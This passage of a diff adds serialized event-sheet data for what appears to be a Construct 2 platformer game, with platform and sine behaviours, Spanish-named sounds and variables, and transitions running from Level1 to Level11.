+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 624105521295437,
+ [
+ [
+ 375,
+ 64,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 842141882035850,
+ false,
+ [
+ [
+ 10,
+ 0
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 375,
+ 51,
+ null,
+ 443972012289705,
+ false,
+ [
+ [
+ 0,
+ [
+ 4,
+ [
+ 20,
+ 375,
+ 52,
+ false,
+ null
+ ],
+ [
+ 0,
+ 3
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 375,
+ 30,
+ null,
+ 614873084576968,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "right"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 605290318868866,
+ [
+ [
+ 375,
+ 66,
+ null,
+ 0,
+ false,
+ false,
+ true,
+ 312314931431184,
+ false,
+ [
+ [
+ 4,
+ 376
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 375,
+ 48,
+ null,
+ 126478574164132,
+ false,
+ [
+ [
+ 10,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 304043920402772,
+ [
+ [
+ 375,
+ 66,
+ null,
+ 0,
+ false,
+ false,
+ true,
+ 518437259711859,
+ false,
+ [
+ [
+ 4,
+ 377
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 375,
+ 48,
+ null,
+ 371898310082179,
+ false,
+ [
+ [
+ 10,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 501863102057917,
+ [
+ [
+ -1,
+ 60,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 854893193259007,
+ false,
+ [
+ [
+ 0,
+ [
+ 1,
+ 0.2
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 375,
+ 61,
+ "Platform",
+ 761313956873480,
+ false,
+ [
+ [
+ 3,
+ 2
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 526200734059637,
+ [
+ [
+ 324,
+ 62,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 580433907365799,
+ false,
+ [
+ [
+ 4,
+ 378
+ ]
+ ]
+ ],
+ [
+ 324,
+ 88,
+ "Platform",
+ 0,
+ false,
+ false,
+ false,
+ 923011858531653,
+ false
+ ],
+ [
+ -1,
+ 54,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 492696687807833,
+ false
+ ]
+ ],
+ [
+ [
+ 324,
+ 67,
+ "Platform",
+ 287764616086348,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ -400
+ ]
+ ]
+ ]
+ ],
+ [
+ 375,
+ 50,
+ null,
+ 211069943799595,
+ false
+ ],
+ [
+ 378,
+ 50,
+ null,
+ 329433989995783,
+ false
+ ],
+ [
+ 379,
+ 50,
+ null,
+ 955826685655355,
+ false
+ ],
+ [
+ 375,
+ 90,
+ null,
+ 494964962823793,
+ false,
+ [
+ [
+ 4,
+ 380
+ ],
+ [
+ 5,
+ [
+ 2,
+ "Game"
+ ]
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ 4,
+ 33,
+ null,
+ 836865046915836,
+ false,
+ [
+ [
+ 2,
+ [
+ "ahogado",
+ false
+ ]
+ ],
+ [
+ 3,
+ 0
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 870165078136640,
+ [
+ [
+ 324,
+ 62,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 441327703594968,
+ false,
+ [
+ [
+ 4,
+ 379
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 599718322403243,
+ false,
+ [
+ [
+ 11,
+ "hiter"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 54,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 401615192382108,
+ false
+ ]
+ ],
+ [
+ [
+ 4,
+ 33,
+ null,
+ 784437762459094,
+ false,
+ [
+ [
+ 2,
+ [
+ "hitenemigo",
+ false
+ ]
+ ],
+ [
+ 3,
+ 0
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 245105815378546,
+ false,
+ [
+ [
+ 11,
+ "hiter"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ 324,
+ 90,
+ null,
+ 801979899803383,
+ false,
+ [
+ [
+ 4,
+ 388
+ ],
+ [
+ 5,
+ [
+ 2,
+ "Game"
+ ]
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 99,
+ null,
+ 359327056108302,
+ false,
+ [
+ [
+ 11,
+ "vida"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ 324,
+ 47,
+ "Sine",
+ 828867031495248,
+ false,
+ [
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ 324,
+ 67,
+ "Platform",
+ 708853270360763,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ -400
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 29,
+ null,
+ 207835636565413,
+ false,
+ [
+ [
+ 0,
+ [
+ 1,
+ 1.5
+ ]
+ ]
+ ]
+ ],
+ [
+ 324,
+ 47,
+ "Sine",
+ 228307471156968,
+ false,
+ [
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ 324,
+ 100,
+ null,
+ 786937755516703,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 100
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 876875760694168,
+ false,
+ [
+ [
+ 11,
+ "hiter"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 212200402484116,
+ [
+ [
+ 324,
+ 62,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 559696742712634,
+ false,
+ [
+ [
+ 4,
+ 413
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 681851883835400,
+ false,
+ [
+ [
+ 11,
+ "hiter"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 4,
+ 33,
+ null,
+ 827108899547295,
+ false,
+ [
+ [
+ 2,
+ [
+ "pinche",
+ false
+ ]
+ ],
+ [
+ 3,
+ 0
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 342604277850594,
+ false,
+ [
+ [
+ 11,
+ "hiter"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ 324,
+ 90,
+ null,
+ 105647811360477,
+ false,
+ [
+ [
+ 4,
+ 388
+ ],
+ [
+ 5,
+ [
+ 2,
+ "Game"
+ ]
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 99,
+ null,
+ 476691074321626,
+ false,
+ [
+ [
+ 11,
+ "vida"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ 324,
+ 47,
+ "Sine",
+ 756346181777393,
+ false,
+ [
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ 324,
+ 67,
+ "Platform",
+ 893707302963622,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ -400
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 29,
+ null,
+ 473152991118460,
+ false,
+ [
+ [
+ 0,
+ [
+ 1,
+ 1.5
+ ]
+ ]
+ ]
+ ],
+ [
+ 324,
+ 47,
+ "Sine",
+ 488170135869033,
+ false,
+ [
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ 324,
+ 100,
+ null,
+ 468199568118463,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 100
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 812803241701392,
+ false,
+ [
+ [
+ 11,
+ "hiter"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 423623045652176,
+ [
+ [
+ 380,
+ 89,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 416005056601726,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "Default"
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 380,
+ 50,
+ null,
+ 511053505893215,
+ false
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 846669147715610,
+ [
+ [
+ 388,
+ 89,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 135022735546358,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "Default"
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 388,
+ 50,
+ null,
+ 418738743031864,
+ false
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 600583414941888,
+ [
+ [
+ 324,
+ 62,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 209841613923089,
+ false,
+ [
+ [
+ 4,
+ 400
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 31,
+ null,
+ 198761657473072,
+ false,
+ [
+ [
+ 11,
+ "key2"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ 400,
+ 30,
+ null,
+ 581367482962361,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "button"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 490610050458454,
+ [
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 588520457265939,
+ false,
+ [
+ [
+ 7,
+ [
+ 20,
+ 401,
+ 73,
+ false,
+ null
+ ]
+ ],
+ [
+ 8,
+ 2
+ ],
+ [
+ 7,
+ [
+ 0,
+ 359
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 859528940885097,
+ false,
+ [
+ [
+ 11,
+ "puzzle1"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 401,
+ 72,
+ null,
+ 642796038850295,
+ false,
+ [
+ [
+ 0,
+ [
+ 4,
+ [
+ 20,
+ 401,
+ 73,
+ false,
+ null
+ ],
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 283963570755788,
+ [
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 304150092645885,
+ false,
+ [
+ [
+ 7,
+ [
+ 20,
+ 401,
+ 73,
+ false,
+ null
+ ]
+ ],
+ [
+ 8,
+ 4
+ ],
+ [
+ 7,
+ [
+ 1,
+ 269.9
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 473810322266380,
+ false,
+ [
+ [
+ 11,
+ "puzzle1"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 401,
+ 72,
+ null,
+ 294447060294911,
+ false,
+ [
+ [
+ 0,
+ [
+ 4,
+ [
+ 20,
+ 401,
+ 73,
+ false,
+ null
+ ],
+ [
+ 0,
+ -1
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 353666401097206,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 472067660990830,
+ false,
+ [
+ [
+ 11,
+ "puzzle1"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 960739977818214,
+ false,
+ [
+ [
+ 7,
+ [
+ 20,
+ 402,
+ 73,
+ false,
+ null
+ ]
+ ],
+ [
+ 8,
+ 4
+ ],
+ [
+ 7,
+ [
+ 0,
+ 181
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 402,
+ 72,
+ null,
+ 119167865598409,
+ false,
+ [
+ [
+ 0,
+ [
+ 5,
+ [
+ 20,
+ 402,
+ 73,
+ false,
+ null
+ ],
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 822153895902634,
+ [
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 437868930840386,
+ false,
+ [
+ [
+ 7,
+ [
+ 20,
+ 402,
+ 73,
+ false,
+ null
+ ]
+ ],
+ [
+ 8,
+ 2
+ ],
+ [
+ 7,
+ [
+ 1,
+ 269.9
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 541871339443230,
+ false,
+ [
+ [
+ 11,
+ "puzzle1"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 402,
+ 72,
+ null,
+ 448383244747749,
+ false,
+ [
+ [
+ 0,
+ [
+ 4,
+ [
+ 20,
+ 402,
+ 73,
+ false,
+ null
+ ],
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 596323394916669,
+ [
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 106904989859319,
+ false,
+ [
+ [
+ 7,
+ [
+ 19,
+ 83
+ ]
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 2,
+ "Level1"
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 724769132019429,
+ false,
+ [
+ [
+ 11,
+ "endlevel"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 29,
+ null,
+ 474601858849510,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 40,
+ null,
+ 758863363117874,
+ false,
+ [
+ [
+ 6,
+ "Level2"
+ ]
+ ]
+ ],
+ [
+ 554,
+ 39,
+ null,
+ 524667523675245,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 269662371660419,
+ [
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 958173196467891,
+ false,
+ [
+ [
+ 7,
+ [
+ 19,
+ 83
+ ]
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 2,
+ "Level2"
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 162341103649938,
+ false,
+ [
+ [
+ 11,
+ "endlevel"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 29,
+ null,
+ 872624107434429,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 40,
+ null,
+ 554805812538025,
+ false,
+ [
+ [
+ 6,
+ "Level3"
+ ]
+ ]
+ ],
+ [
+ 554,
+ 39,
+ null,
+ 346154377441477,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 784608080369901,
+ [
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 249537784167618,
+ false,
+ [
+ [
+ 7,
+ [
+ 19,
+ 83
+ ]
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 2,
+ "Level3"
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 349990993741327,
+ false,
+ [
+ [
+ 11,
+ "endlevel"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 29,
+ null,
+ 526729138114841,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 40,
+ null,
+ 476827576028537,
+ false,
+ [
+ [
+ 6,
+ "Level4"
+ ]
+ ]
+ ],
+ [
+ 554,
+ 39,
+ null,
+ 713050892707410,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 163151607969848,
+ [
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 850890834272160,
+ false,
+ [
+ [
+ 7,
+ [
+ 19,
+ 83
+ ]
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 2,
+ "Level4"
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 131561084777555,
+ false,
+ [
+ [
+ 11,
+ "endlevel"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 29,
+ null,
+ 263832264076109,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 40,
+ null,
+ 569806364899368,
+ false,
+ [
+ [
+ 6,
+ "Level5"
+ ]
+ ]
+ ],
+ [
+ 554,
+ 39,
+ null,
+ 250455214247151,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 868932542865596,
+ [
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 867994691620261,
+ false,
+ [
+ [
+ 7,
+ [
+ 19,
+ 83
+ ]
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 2,
+ "Level5"
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 427902693309206,
+ false,
+ [
+ [
+ 11,
+ "endlevel"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 29,
+ null,
+ 772767442124320,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 40,
+ null,
+ 462457996799120,
+ false,
+ [
+ [
+ 6,
+ "Level6"
+ ]
+ ]
+ ],
+ [
+ 554,
+ 39,
+ null,
+ 559098390693914,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 305647573586917,
+ [
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 643232534207271,
+ false,
+ [
+ [
+ 7,
+ [
+ 19,
+ 83
+ ]
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 2,
+ "Level6"
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 831120035854080,
+ false,
+ [
+ [
+ 11,
+ "endlevel"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 29,
+ null,
+ 402471251847668,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 40,
+ null,
+ 199668867525313,
+ false,
+ [
+ [
+ 6,
+ "Level7"
+ ]
+ ]
+ ],
+ [
+ 554,
+ 39,
+ null,
+ 233473549691880,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 532606984472672,
+ [
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 583150291326568,
+ false,
+ [
+ [
+ 7,
+ [
+ 19,
+ 83
+ ]
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 2,
+ "Level7"
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 622584800709751,
+ false,
+ [
+ [
+ 11,
+ "endlevel"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 29,
+ null,
+ 633672114401036,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 40,
+ null,
+ 561249023633586,
+ false,
+ [
+ [
+ 6,
+ "Level8"
+ ]
+ ]
+ ],
+ [
+ 554,
+ 39,
+ null,
+ 157778204537520,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 453647868948540,
+ [
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 868154529528116,
+ false,
+ [
+ [
+ 7,
+ [
+ 19,
+ 83
+ ]
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 2,
+ "Level8"
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 339378271290430,
+ false,
+ [
+ [
+ 11,
+ "endlevel"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 29,
+ null,
+ 549857964823198,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 40,
+ null,
+ 694873431656182,
+ false,
+ [
+ [
+ 6,
+ "Level9"
+ ]
+ ]
+ ],
+ [
+ 554,
+ 39,
+ null,
+ 517097363933168,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 574552652468352,
+ [
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 583758034483304,
+ false,
+ [
+ [
+ 7,
+ [
+ 19,
+ 83
+ ]
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 2,
+ "Level9"
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 455595337523833,
+ false,
+ [
+ [
+ 11,
+ "endlevel"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 29,
+ null,
+ 169784754955702,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 40,
+ null,
+ 425581164841774,
+ false,
+ [
+ [
+ 6,
+ "Level10"
+ ]
+ ]
+ ],
+ [
+ 554,
+ 39,
+ null,
+ 612268172861798,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 847348028344853,
+ [
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 845560843816784,
+ false,
+ [
+ [
+ 7,
+ [
+ 19,
+ 83
+ ]
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 2,
+ "Level8"
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 162456089041045,
+ false,
+ [
+ [
+ 11,
+ "endlevel"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 29,
+ null,
+ 664439610757117,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 202878144899602,
+ [
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 598663834180277,
+ false,
+ [
+ [
+ 7,
+ [
+ 19,
+ 83
+ ]
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 2,
+ "Level9"
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 492479537395898,
+ false,
+ [
+ [
+ 11,
+ "endlevel"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 29,
+ null,
+ 638013165196499,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 285317342367621,
+ [
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 104580971133428,
+ false,
+ [
+ [
+ 7,
+ [
+ 19,
+ 83
+ ]
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 2,
+ "Level10"
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 627502120913355,
+ false,
+ [
+ [
+ 11,
+ "endlevel"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 29,
+ null,
+ 270215750193645,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 40,
+ null,
+ 283580324023585,
+ false,
+ [
+ [
+ 6,
+ "Level11"
+ ]
+ ]
+ ],
+ [
+ 554,
+ 39,
+ null,
+ 272915344350423,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 127074673469503,
+ [
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 568616168147699,
+ false,
+ [
+ [
+ 7,
+ [
+ 19,
+ 83
+ ]
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 2,
+ "Level10"
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 295822490746061,
+ false,
+ [
+ [
+ 11,
+ "endlevel"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
